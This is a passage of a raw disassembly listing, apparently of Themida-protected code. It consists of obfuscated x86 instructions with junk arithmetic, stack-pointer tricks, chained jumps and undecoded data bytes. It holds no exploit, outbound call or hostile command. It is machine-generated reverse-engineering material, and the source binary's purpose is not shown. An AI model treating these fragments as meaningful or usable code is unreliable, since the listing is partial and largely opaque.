		dd 0C483240Ch, 0EE18104h, 57192C08h, 3282E9h, 5E0C100h
		dd 0FF7920E9h, 58BE56FFh, 81295C05h, 5C055CF6h,	5EF10129h
		dd 334D68h, 242C8900h, 4BDh, 0E9E90100h, 0FFFF5E65h
; ---------------------------------------------------------------------------


loc_5639B8:				; CODE XREF: Themida_:00557E58j
		sub	edx, 6EC6723Fh
		dec	edx
		and	edx, 27323D07h
		add	edx, 1068532h
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	75A7h
		mov	[esp], ecx
		mov	ecx, 57D2105Ah
		sub	ecx, 1E6179BAh
		and	ecx, 0B867833h
		xchg	eax, ecx
		dec	eax
		xchg	eax, ecx
		jmp	loc_567C5D
; ---------------------------------------------------------------------------


loc_563A0B:				; CODE XREF: Themida_:0055C471j
		pop	dword ptr [esp]
		pop	esp
		push	60B4h
		mov	[esp], ecx
		mov	ch, 0AFh
		and	ch, 16h
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 79h
		xor	bl, 0BCh
		neg	bl
		push	edx
		jmp	loc_55D530
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 3156E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A3E:				; CODE XREF: Themida_:0056702Cj
		push	6B44h
		jmp	loc_56764E
; ---------------------------------------------------------------------------
		dd 2B60F66h, 141D6866h,	0FF3EDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A55:				; CODE XREF: Themida_:00559846j
		mov	eax, [esp]
		add	esp, 4
		push	4826h
		mov	[esp], esi
		mov	esi, 4
		push	edi
		mov	edi, 7D4F0290h
		push	ecx
		mov	ecx, 55E535ADh
		shl	ecx, 8
		or	ecx, 3C294D40h
		sub	ecx, 873B7D34h
		sub	eax, ecx
		jmp	loc_55433D
; ---------------------------------------------------------------------------
		dw 0E468h
		dd 8900003Fh, 64E9240Ch, 5700001Dh, 0FF4756E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A9D:				; CODE XREF: Themida_:0055EBB2j
		mov	ecx, [ebx]
		jmp	loc_5624DE
; ---------------------------------------------------------------------------
		dd 0FEF18FE9h, 4EC781FFh, 1964B92h, 0F5685FF9h,	89000013h
		dd 4BB241Ch, 81000000h,	764514C1h, 81D9016Dh, 764514E9h
		dd 241C8B6Dh, 0E904C483h, 0FFFFAF70h
; ---------------------------------------------------------------------------


loc_563AD8:				; CODE XREF: Themida_:00563D6Dj
		xor	edx, esi
		pop	esi
		jmp	loc_566793
; ---------------------------------------------------------------------------
		dd 0B8240489h, 25B0106Fh, 3508E0C1h, 0A0AD4DE6h, 5758C689h
		dd 0B4448ABFh, 5FF98938h, 2610F181h, 0E181088Ch, 49B474BFh
		dd 0FFF1F7E9h, 7FD968FFh, 0C890000h, 0D4BE5624h, 4E503B5Dh
		dd 0FF9E49E9h, 4EC83FFh, 0E9240489h, 0FFFF9CEEh, 0EEE980h
		dd 0E0C059C8h, 3E0C007h, 0F6503524h, 0E7E92414h, 5CFFFF4Ah
		dd 8B66C331h, 54552414h, 0FFA50FE9h, 0C3156FFh,	240C3324h
		dd 0F7240C31h, 65CC68D1h, 0C890000h, 2474FF24h,	48F5904h
		dd 2434FF24h, 7497685Eh, 34890000h, 348B5424h, 4C48324h
		dd 4C681h, 3CE90000h, 66FFFFE5h, 0C781664Fh, 81664161h
		dd 66D913C7h, 1176C381h, 66FB2966h, 1176EB81h, 8B2434FFh
		dd 8956243Ch, 4C681E6h,	0E9000000h, 0FFFF0875h,	0E0C034B0h
		dd 5E8C007h, 0C7005F34h, 3AC78058h, 0F3E9F830h,	5FFFF3Bh
		dd 761A2461h, 7746E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BDA:				; CODE XREF: Themida_:0055AB7Fj
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55FB3E
; ---------------------------------------------------------------------------


loc_563BF9:				; CODE XREF: Themida_:005619C2j
		pop	eax
		jmp	loc_55BA09
; ---------------------------------------------------------------------------


loc_563BFF:				; CODE XREF: Themida_:005570F9j
		sub	edx, 0B5E71019h
		mov	ebp, edx
		pop	edx
		xor	ebp, 1EB474A5h
		jmp	loc_55C665
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815824h, 4, 50E28952h,	4B8h, 58C20100h
		dd 3304EA83h, 14312414h, 24143324h, 241C895Ch, 0C9685B54h
		dd 89000064h, 4B82404h,	81000000h, 76202BEBh, 4EEB815Dh
		dd 15D237Ah, 4EC381C3h,	0E95D237Ah, 0FFFF9ADEh,	83242C89h
		dd 0F5E904ECh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C6F:				; CODE XREF: Themida_:0056169Cj
		mov	edi, 45EA687Eh
		push	46FEh
		mov	[esp], eax
		mov	eax, 7C4E335Ch
		and	edi, eax
		pop	eax
		not	edi
		add	edi, 0BDDF7749h
		xor	esi, edi
		pop	edi
		sub	edi, 71052828h
		jmp	loc_563281
; ---------------------------------------------------------------------------
		dw 0D568h
		dd 59559410h, 81D9F741h, 0F09533E9h, 248BE9A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CAE:				; CODE XREF: Themida_:0055CF77j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 2Ch
		mov	ecx, ebp
		pop	ebp
		jmp	loc_55720C
; ---------------------------------------------------------------------------


loc_563CC6:				; CODE XREF: Themida_:0055E9FAj
		push	esi
		mov	esi, esp
		jmp	loc_55ACCD
; ---------------------------------------------------------------------------


loc_563CCE:				; CODE XREF: Themida_:005597B3j
		push	dword ptr [esp]
		jmp	loc_56421E
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 348904ECh, 34FF5424h, 0C4835E24h, 4EC8304h, 0FF822EE9h
		dd 1136BFFFh, 0BA5238E1h, 45C7514Ch, 0F708E2C1h, 0F2814ADAh
		dd 16686297h, 6856F281h, 5CE97CF2h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D0F:				; CODE XREF: Themida_:00558C13j
		push	5CB767FBh
		mov	edx, [esp]
		add	esp, 4
		push	5116h
		mov	[esp], ebx
		mov	ebx, 6ACB2403h
		inc	ebx
		and	ebx, 26AE47FAh
		not	ebx
		add	ebx, 69432B1Dh
		sub	ebx, 46B9271Dh
		add	edx, 2F26187Ch
		add	edx, 780E783Eh
		add	edx, ebx
		sub	edx, 780E783Eh
		push	ebp
		mov	ebp, 733B56C7h
		shl	ebp, 8
		add	ebp, 0F3CF517Ch
		sub	edx, ebp
		pop	ebp
		pop	ebx
		dec	edx
		push	esi
		mov	esi, 5CB767F8h
		jmp	loc_563AD8
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF8682h
; ---------------------------------------------------------------------------


loc_563D78:				; CODE XREF: Themida_:005613AEj
		add	ecx, 4
		jmp	loc_5630A3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 81E95600h, 0FFFFFF35h,	0C8B2434h, 4C48324h, 8904EC83h
		dd 5A542414h, 0FFE95456h, 66FFFFB5h, 53240C8Bh,	0FEFB55E9h
		dd 0C5295DFFh, 66685058h, 5849C32Fh, 158C501h, 66ED81FDh
		dd 8149C32Fh, 0C329FFC5h, 0C5815F20h, 4, 0D0E95453h, 51000033h
		dd 240C8B54h, 8104C483h, 4C1h, 0DE6EE900h, 0EF81FFFFh
		dd 5CCB74FCh, 335FFE29h, 34312434h, 24343324h, 0E924248Bh
		dd 0FFFF3B17h
; ---------------------------------------------------------------------------


loc_563E08:				; CODE XREF: Themida_:00558C1Ej
		mov	ebp, 0FFFFFFFFh
		mov	edi, ebp
		pop	ebp
		jmp	loc_5570BD
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 2
		dd 387EC981h, 2DE90234h, 0B6FFFF3Bh, 3AB6E9A8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E2A:				; CODE XREF: Themida_:005656B7j
		add	ecx, 786A3F7Eh
		add	ecx, edx
		jmp	loc_55E593
; ---------------------------------------------------------------------------
		db 1
		dd 5AEB81FBh, 0E914F72Bh, 0FFFF4AF4h
; ---------------------------------------------------------------------------


loc_563E44:				; CODE XREF: Themida_:005540B6j
		pop	ebp
		xor	edx, esi
		push	dword ptr [esp]
		jmp	loc_560C83
; ---------------------------------------------------------------------------
		db 81h
		dd 67273DC7h, 7CFFE97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E5A:				; CODE XREF: Themida_:0055C66Bj
		not	ebp
		jmp	loc_55AB74
; ---------------------------------------------------------------------------
		db 1, 0C7h, 81h
		dd 617C9DEFh, 86685227h, 8900001Ch, 8DBD242Ch, 890D6B17h
		dd 0D7015DEAh, 24048B5Ah, 4C481h, 0EC830000h, 243C8904h
		dd 42474FFh, 24048F5Fh,	0F9F7665Ch, 0FF775FE9h,	240C89FFh
		dd 4E0A68h, 291EE900h, 0E95A0000h, 2B4Ah
; ---------------------------------------------------------------------------


loc_563EB0:				; CODE XREF: Themida_:0055956Bj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4CA4E1Ch
		jmp	loc_556473
; ---------------------------------------------------------------------------


loc_563EC1:				; CODE XREF: Themida_:0055D985j
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2B8F18B9h
		add	ebp, 6C8A6FF4h
		sub	ebp, 45464EA1h
		add	ebp, 1589418Bh
		add	ebp, ecx
		sub	ebp, 1589418Bh
		add	ebp, 45464EA1h
		push	ecx
		jmp	loc_554609
; ---------------------------------------------------------------------------


loc_563EF1:				; CODE XREF: Themida_:00565BE6j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_560F74
; ---------------------------------------------------------------------------
aRs_3		db '^Ré',0Dh,'!',0
		align 10h


loc_563F10:				; CODE XREF: Themida_:005562F2j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 22h
		push	small 0A41h
		jmp	loc_5541C0
; ---------------------------------------------------------------------------


loc_563F24:				; CODE XREF: Themida_:0055D9F0j
		shl	esi, 4
		add	esi, 43D12A90h
		not	esi
		and	esi, 3C3966D3h
		push	edx
		mov	edx, 4F4B1B25h
		shl	edx, 3
		jmp	loc_561D00
; ---------------------------------------------------------------------------
		db 51h
		dd 3CE7B850h, 524848AEh, 7855DBBAh, 4E2C172h, 0E2C1DAF7h
		dd 9FCA8106h, 8146AD3Fh, 9F65D7C2h, 4DEA8123h, 56C4B35h
		dd 1FAA52B9h, 0B92DD029h, 5A1FAA52h, 0C158C189h, 0EC8308E1h
		dd 24148904h, 22286850h, 0E9581012h, 0FFFF0F7Ah, 0B3E9D029h
		dd 87FFFFC6h, 8EE92404h, 5CFFFFDCh, 50242489h, 4B8h, 24440100h
		dd 34FF5804h, 24048B24h, 0E904C483h, 0FFFF890Eh
; ---------------------------------------------------------------------------


loc_563FBC:				; CODE XREF: Themida_:0055BA26j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5533E5
; ---------------------------------------------------------------------------


loc_563FCD:				; CODE XREF: Themida_:00559C5Bj
		pop	ebp
		jmp	loc_5564AD
; ---------------------------------------------------------------------------
		dd offset dword_5AAB68
		align 4
		dd 51242489h, 4B9h, 244C0100h, 48B5904h, 0FB33E924h, 815AFFFFh
		dd 4C4h, 84EBE900h, 0EC83FFFFh,	241C8904h, 0FFEC4FE9h
		dd 0FFFF05FFh, 5535FFFFh, 353FF827h, 43DE74E1h,	7BC4EA81h
		dd 0C2010794h, 7BC4C281h, 55E90794h, 0BBFFFF8Fh, 5FBF3A15h
		dd 36DB850h, 0C3213F54h, 7B12E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56403A:				; CODE XREF: Themida_:00562AC5j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_566F6E
; ---------------------------------------------------------------------------
		dw 0F758h
		dd 0FFEF83D7h, 0F831C731h, 0E883C731h, 0BA5297FFh, 1AF42CE4h
		dd 0FF7579E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564065:				; CODE XREF: Themida_:0055F884j
		sub	ebx, 63BC5193h
		pop	edi
		push	esi
		push	edx
		jmp	loc_55C081
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6295DEAh, 0FF4D3BE9h, 5A5452FFh, 4BE56h, 0F2010000h
		dd 0FFC2E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56408D:				; CODE XREF: Themida_:00557CA6j
		xor	ebp, 0EE02F757h
		add	ebx, 597E3EB0h
		jmp	loc_556B41
; ---------------------------------------------------------------------------


loc_56409E:				; CODE XREF: Themida_:005533D5j
		mov	edi, ebx
		pop	ebx
		add	esi, edi
		jmp	loc_56014C
; ---------------------------------------------------------------------------
		dd 2434FF5Fh, 8B2434FFh, 0CAE9242Ch, 1FFFF22h, 0F495E9DDh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5640BE:				; CODE XREF: Themida_:00555D01j
		xor	ebp, 4E576D00h
		push	ebx
		jmp	loc_55F04B
; ---------------------------------------------------------------------------
		dw 0FDBDh
		dd 4D42363Fh, 0FF1970E9h, 2C895CFFh, 2DBF5724h,	0C1340D35h
		dd 814F06E7h, 0EF56D8F7h, 8BFD8903h, 0C483243Ch, 81DDF704h
		dd 4F7451F5h, 0D7F5811Dh, 81F308FAh, 567E20C5h,	4EC8121h
		dd 89000000h, 0A5BE2434h, 0E9012362h, 23F8h
; ---------------------------------------------------------------------------


loc_564118:				; CODE XREF: Themida_:0055E628j
		sub	esi, 53BA5C94h
		add	esi, 3307249Fh
		add	esi, edi
		sub	esi, 3307249Fh
		add	esi, 53BA5C94h
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_55534E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6E60E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564152:				; CODE XREF: Themida_:005651D1j
		dec	eax
		sub	eax, 34DC7A73h
		shl	eax, 1
		add	eax, 9AD0DCC6h
		add	ebp, eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55382D
; ---------------------------------------------------------------------------


loc_56416A:				; CODE XREF: Themida_:005651F3j
		pop	esp


loc_56416B:				; CODE XREF: Themida_:0055834Bj
					; Themida_:0055E10Ej
		push	eax
		push	ebp
		push	7887368Fh
		pop	ebp
		push	edx
		mov	edx, 46EC5E81h
		xor	edx, 74B73773h
		sub	ebp, edx
		jmp	loc_55758E
; ---------------------------------------------------------------------------


loc_564186:				; CODE XREF: Themida_:005615AFj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_5630A9
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD55240Ch, 6E6B3015h, 21E5814Dh, 811A9636h,	0E34678F5h
		dd 0E9D5F76Ah, 0FFFFBB57h, 2BB535Ch, 1000000h, 2434FFDFh
		dd 3232E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5641CA:				; CODE XREF: Themida_:0055EA0Fj
		or	ebx, edx
		pop	edx
		and	ebx, 7CFE7B1Ah
		xor	ebx, 367530AAh
		shr	ebx, 4
		add	ebx, 0FD584F7Ah
		sub	eax, 2A545529h
		jmp	loc_553A93
; ---------------------------------------------------------------------------


loc_5641EC:				; CODE XREF: Themida_:00555EF0j
		push	eax
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	edx
		mov	dh, bl
		mov	ch, dh
		pop	edx
		jmp	loc_556EED
; ---------------------------------------------------------------------------
		dw 8966h
		dd 50662414h, 9684E99Ch, 0C8BFFFFh, 190FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56421E:				; CODE XREF: Themida_:00563CD1j
		pop	ecx
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_562FE5
; ---------------------------------------------------------------------------
		dw 8368h
		dd 89000064h, 0BE562404h, 381E7AFFh, 0FC66EE81h, 0F089C2CBh
		dd 0BBC355Eh, 0C129385Bh, 26BE5658h, 1101976h, 685F5EF1h
		dd 21CBh, 0B8240489h, 0C74FEFEEh, 6858C129h, 760Fh, 0FF34D7E9h
		dd 243C8BFFh, 8667E955h, 0C481FFFFh, 4,	0FF75FEE9h, 58C301FFh
		dd 4C381h, 1C870000h, 24248B24h, 4EC81h, 34890000h, 5BA8BE24h
		dd 0E6C134F9h, 24CE8108h, 81134119h, 4E5C02EEh,	5EF131A7h
		dd 82C68h, 240C8900h, 0D5242C81h, 8B45521Bh, 0C483241Ch
		dd 0D5C38104h, 8B45521Bh, 5457240Ch, 4C7815Fh, 81000000h
		dd 4C7h, 243C8700h, 5624248Bh, 0DA1D0568h, 31B7E976h, 1EB00000h
		dd 2858C388h, 2C5B66D8h, 241C8B91h, 2A7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_564309:				; CODE XREF: Themida_:005668BBj
		push	42B8h
		mov	[esp], ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		jmp	loc_564403
; ---------------------------------------------------------------------------


loc_56431B:				; CODE XREF: Themida_:0055514Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5571DA
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0E8431BDh, 8431BFBFh, 0E9EF310Eh, 0FFFFA05Ah
; ---------------------------------------------------------------------------


loc_564340:				; CODE XREF: Themida_:005558CAj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55EB79
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFD165E9h, 240487FFh, 2E9C15Ch, 0FF29FAE9h,	241489FFh
		dd 0FF7B9FE9h, 0BB5342FFh, 0CCAE8661h, 0FEFAF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564375:				; CODE XREF: Themida_:00553D3Bj
		add	esp, 4
		push	ebx
		mov	ebx, 5D151AC0h
		push	eax
		mov	eax, 0E2B50E48h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56511C
; ---------------------------------------------------------------------------
		db 53h
		dd 4524CF68h, 5A4AE902h, 489FFFFh, 24048B24h, 0FEFB58E9h
		dd 243489FFh, 20F8BA52h, 8E680EBBh, 5E342862h, 0C681D6F7h
		dd 4C9FEBBDh, 0F75AD629h, 0D2A9E9D6h, 0BE56FFFFh, 4971776Bh
		dd 0C247401h, 0E95F5F5Eh, 0FFFFE65Ch
; ---------------------------------------------------------------------------


loc_5643E0:				; CODE XREF: Themida_:005567C8j
		push	eax
		push	ebx
		sub	dword ptr [esp], 2D87D0Bh
		pop	eax
		add	eax, 2D87D0Bh
		mov	ebp, eax
		jmp	loc_55A974
; ---------------------------------------------------------------------------


loc_5643F6:				; CODE XREF: Themida_:00565AC2j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55F7E2
; ---------------------------------------------------------------------------


loc_564403:				; CODE XREF: Themida_:00564316j
		pop	bx
		jmp	loc_567537
; ---------------------------------------------------------------------------
		dw 0DF89h
		dd 8B5FFA89h, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 13E95600h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564427:				; CODE XREF: Themida_:0055D06Aj
		xor	[esp+4], edx
		pop	edx
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55B60B
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 4EC8102h, 89000000h, 6FE9243Ch, 8BFFFFB0h
		dd 0C4832404h, 0C432504h, 0E953749Dh, 0FFFF732Eh
; ---------------------------------------------------------------------------


loc_56445C:				; CODE XREF: Themida_:0055AFCFj
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	small 7E3Dh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_558C5B
; ---------------------------------------------------------------------------
		db 51h,	68h, 9Ah
		dd 0E93E750Eh, 0FFFEF89Ah, 0DF1CE9ACh, 5157FFFFh, 0FF7E71E9h
		dd 0E68956FFh, 0FFDA09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564499:				; CODE XREF: Themida_:00559290j
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		pop	ebp
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	3B0h
		mov	[esp], esi
		mov	esi, 7A0A07E2h
		xor	esi, 273E2124h
		push	edi
		push	eax
		push	69342089h
		pop	eax
		inc	eax
		add	eax, 0B7994E27h
		jmp	loc_56034B
; ---------------------------------------------------------------------------
		dd 54B5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644E2:				; CODE XREF: Themida_:005622A5j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	[esp+4], edx
		jmp	loc_553657
; ---------------------------------------------------------------------------
		db 81h
		dd 0F450AEBh, 7B1AE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644FE:				; CODE XREF: Themida_:00556854j
		push	ebp
		pop	ecx
		mov	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56129D
; ---------------------------------------------------------------------------


loc_564512:				; CODE XREF: Themida_:0055391Cj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559684
; ---------------------------------------------------------------------------
		dd 4C481h, 0BB530000h, 2, 0B5AB951h, 79E9097Bh,	58FFFF2Ah
		dd 815B5453h, 4C3h, 4C38300h, 5C241C87h, 0FFE084E9h, 0D830ACFFh
		dd 0FFBD61E9h, 0D6F75EFFh, 0EE83DEF7h, 1C683FFh, 0FF11B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564565:				; CODE XREF: Themida_:00562DFAj
		add	bl, 0E4h
		jmp	loc_556096
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 9Bh
		dd 0C15A860Ah, 0EC8103EDh, 4, 0E9240C89h, 0FFFFD94Dh, 3E4AE5BEh
		dd 1F7BE976h, 0C181FFFFh, 4, 0E9240C87h, 0FFFFA59Fh
; ---------------------------------------------------------------------------


loc_56459C:				; CODE XREF: Themida_:0056098Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 6E314E24h
		jmp	loc_5647D7
; ---------------------------------------------------------------------------
		dd 1B5860BBh, 0FFD8313Eh, 575B2434h, 0C781E789h, 4, 0E904C783h
		dd 0FFFF7F46h, 33243C31h, 895C243Ch, 0D1682414h, 5400001Ah
		dd 8124048Fh, 42404h, 555A0000h, 468h, 0EA015D00h, 4C2835Dh
		dd 0FF4813E9h, 1B850FFh, 2533C608h, 58857252h, 651E5A35h
		dd 0F4212D13h, 0C7219493h, 0A6BB5358h, 0E9280F22h, 0FFFF6E2Fh
		dd 42474FFh, 0E92434FFh, 0FFFEEE7Ah
; ---------------------------------------------------------------------------


loc_564628:				; CODE XREF: Themida_:00560645j
		push	3FEFh
		mov	[esp], edx
		push	ebx
		push	ecx
		pop	ebx
		push	esi
		mov	esi, ebx
		mov	edx, esi
		pop	esi
		pop	ebx
		push	5D33h
		jmp	loc_553B8A
; ---------------------------------------------------------------------------
		dd 891AF9BFh, 0E9C73158h, 0FFFFF9FAh, 5C241C33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5539F7
; ---------------------------------------------------------------------------


loc_564663:				; CODE XREF: Themida_:00561234j
		push	512Eh
		jmp	loc_5611E0
; ---------------------------------------------------------------------------


loc_56466D:				; CODE XREF: Themida_:00561B17j
		xor	[esp], ebx
		jmp	loc_566942
; ---------------------------------------------------------------------------


loc_564675:				; CODE XREF: Themida_:0055B9AFj
		not	dword ptr [esp]
		jmp	loc_559374
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aM_1		db 'º=Œ#',0
		db 0E9h, 8Dh, 7Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56468A:				; CODE XREF: Themida_:005618B7j
		mov	ebp, 4
		jmp	loc_55BD95
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 4E12BE24h, 4FE941CBh, 0B4FFFF19h
		dd 66E52852h, 0E8885058h, 13E9C788h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646B7:				; CODE XREF: Themida_:00562A37j
		xor	edx, 0D4E0ECh
		add	esi, 2C5D6F3Fh
		jmp	loc_5591AC
; ---------------------------------------------------------------------------
		dd 1772EA81h, 0EA817BE5h, 620A2130h, 0BF57C201h, 4E735B43h
		dd 0FF84D3E9h, 5EF209FFh, 5607EAC1h, 13C5BF57h,	0EF81795Fh
		dd 123218F2h, 0FF2247E9h, 0EC8158FFh, 4, 0BA241489h, 40C2508Dh
		dd 6FA68h, 243C8900h, 3D43BD55h, 88E9483Ah
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56471B:				; CODE XREF: Themida_:0055D7C3j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5565E0
; ---------------------------------------------------------------------------


loc_564727:				; CODE XREF: Themida_:005630C2j
		push	ecx
		jmp	loc_566680
; ---------------------------------------------------------------------------


loc_56472D:				; CODE XREF: Themida_:0055375Ej
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	bl, 64h
		push	edx
		mov	dh, 0C9h
		jmp	loc_55825B
; ---------------------------------------------------------------------------
		db 0BDh, 0BAh, 45h
		dd 0E5C17A65h, 0B4F58107h, 455EBB3Ch, 0FFE2D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564755:				; CODE XREF: Themida_:0055487Aj
		pop	esp
		mov	[esp], eax
		jmp	loc_561BFB
; ---------------------------------------------------------------------------


loc_56475E:				; CODE XREF: Themida_:005648AEj
		mov	edi, [esp]
		add	esp, 4
		push	edi
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_5633FD
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 6EAF68h, 241C8900h, 0FF69AAE9h, 243C87FFh, 0FF2D60E9h
		dd 5B41BFFFh, 0F78175DBh, 18186CE9h, 603BBE56h,	0F2E95870h
		dd 83000016h, 0CE904C4h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647AB:				; CODE XREF: Themida_:0055ED45j
		mov	edi, 2
		add	ebp, edi
		jmp	loc_55DF4E
; ---------------------------------------------------------------------------


loc_5647B7:				; CODE XREF: Themida_:0055326Dj
		push	193Eh
		jmp	loc_55FDB7
; ---------------------------------------------------------------------------


loc_5647C1:				; CODE XREF: Themida_:0055476Cj
		push	61B3h
		jmp	loc_5583EA
; ---------------------------------------------------------------------------


loc_5647CB:				; CODE XREF: Themida_:00567D14j
		push	edi
		push	5D202E78h
		pop	edi
		jmp	loc_561468
; ---------------------------------------------------------------------------


loc_5647D7:				; CODE XREF: Themida_:005645ABj
		add	eax, 32BA1C34h
		sub	eax, 6F72568Dh
		neg	eax
		jmp	loc_55B6FB
; ---------------------------------------------------------------------------
		dd 0B0240489h, 80F2B65Bh, 0F6804DCEh, 0E9C6FE2Eh, 0FFFF46EEh
		dd 240C8B66h, 0FEEECAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564805:				; CODE XREF: Themida_:0055D9E2j
		push	ebp
		mov	ebp, esp
		jmp	loc_554260
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXhS		db 'Xh;S',0
		align 2
		dw 1489h
		dd 0E9E28924h, 1F48h, 2414F753h, 0FFD830E9h, 243489FFh
		dd 0C681E689h, 4, 25E95153h, 0FFFEFDh, 0D12858E2h, 0E9CB005Ah
		dd 0FFFF292Ch, 612AC581h, 0E95521ACh, 2F6Ah, 4C6815Ch
		dd 0E9000000h, 0FFFF5BBCh
; ---------------------------------------------------------------------------


loc_564860:				; CODE XREF: Themida_:00561647j
		add	esi, 4
		push	edx
		mov	edx, 2CDA305Ah
		push	ebx
		mov	ebx, 7D8600D5h
		sub	ebx, 4620E959h
		jmp	loc_55EBF7
; ---------------------------------------------------------------------------


loc_56487D:				; CODE XREF: Themida_:00564F21j
		xor	edx, ebx
		jmp	loc_557B9F
; ---------------------------------------------------------------------------


loc_564884:				; CODE XREF: Themida_:0055CF10j
		neg	esi
		sub	esi, 21BE7C2Ah
		jmp	loc_55B568
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 240C8700h, 26E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5648A5:				; CODE XREF: Themida_:0055678Bj
		sub	edx, ebp
		pop	ebp
		jmp	loc_559A77
; ---------------------------------------------------------------------------


loc_5648AD:				; CODE XREF: Themida_:00564D25j
		pop	esp
		jmp	loc_56475E
; ---------------------------------------------------------------------------
		db 0B9h
